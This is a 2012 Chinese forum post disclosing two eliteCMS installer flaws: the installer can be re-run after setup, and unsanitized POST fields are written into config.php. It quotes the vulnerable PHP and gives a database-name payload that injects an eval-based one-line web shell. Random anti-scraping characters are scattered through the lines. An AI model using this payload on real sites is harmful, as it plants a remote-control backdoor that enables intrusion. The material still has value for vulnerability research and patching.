找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1950|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
& w! ^& ^1 \  Z  T
( c, A2 N6 r! n: a另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php8 _3 P( v' M- _& A7 E6 r1 x
我们来看代码:
/ ?- u8 l+ i- T! S0 o8 \
, X  W! J5 S0 k; b+ O" T$ R9 ?...
/ Z, A! Z9 i7 p% T  d. \7 O' Helseif ($_GET['step'] == "4") {/ [! w6 u1 F2 x0 f& B  U+ w6 B
    $file = "../admin/includes/config.php";1 L3 d$ A5 n! \# _) A% s9 p( |
    $write = "<?php\n";; h/ v* k6 N5 S# {6 T. c
    $write .= "/**\n";; g. o8 d0 p& [" t4 A
    $write .= "*\n";
$ @# C' }+ c8 T    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
  k3 ^7 M: U4 \% M9 ]...略...$ f+ H8 `" w; n5 S: b- `* `
    $write .= "*\n";9 W/ q1 L/ u! V7 o% p
    $write .= "*/\n";7 k+ P/ ~/ x; S4 q/ b: ]/ a
    $write .= "\n";9 t0 ]/ n' P: e. F& O% C
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";" z  H4 A; B+ C" v
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";" h% ~5 Y! c7 f0 ?6 d
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
. R3 S# G* C( y/ g7 p) Z5 Y6 c    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";6 L8 A9 {. {1 ^* G0 r% e' j9 e
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";$ y% n9 |( \2 [* B8 z& ?( i: k3 Y. o
    $write .= "if (!\$connection) {\n";
( D- ^; k5 _4 H    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
2 L# V/ L8 n, _6 h4 Y    $write .= "        \n";
& S5 x1 k+ t4 J/ j9 L    $write .= "} \n";" h: n% B/ v+ A1 p! b
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
: v9 V9 A( |' Q' v' O3 C    $write .= "if (!\$db_select) {\n";9 u  w9 U$ q  [8 K0 Q2 [/ H
    $write .= "        die(\"Database select failed\" .mysql_error());\n";% R% x- \, [- P' q' m
    $write .= "        \n";% C$ g, v8 c% H, h$ B8 M
    $write .= "} \n";* @  x2 x: k# @
    $write .= "?>\n";
$ w# r0 [4 k# x3 C ' t2 _% L& t6 F; b2 D0 V5 @  t
    $writer = fopen($file, 'w');7 `# S# k6 T" _" J
...
9 B# t- ~' `& ^( z& }1 L
+ @0 [) K: C( O- D% D在看代码:
, e9 v: F, c, x1 J 2 \" _# H2 V3 d4 s) z
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];7 m3 h7 q9 r( r0 s
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];8 f# T  ~6 H' n1 Z2 ^5 g
$_SESSION['DB_USER'] = $_POST['DB_USER'];7 d$ ^' a" |5 m& D  \! u: P
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];$ {* b& g. j7 L% D
' N% J- X! |# X' m6 C8 G. d
取值未作任何验证# f% ?  v& }& U% `- f
如果将数据库名POST数据:
( b6 A* E+ w* J% t$ y% \; d/ K0 y& N 8 l5 \& p5 o$ r" n3 ?3 ]
"?><?php eval($_POST[c]);?><?php% r0 H( S0 v& d9 N( O- I+ a7 w4 I9 h

" x) p2 u" F1 R0 }将导致一句话后门写入/admin/includes/config.php! ?% |: J% W% s, J7 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表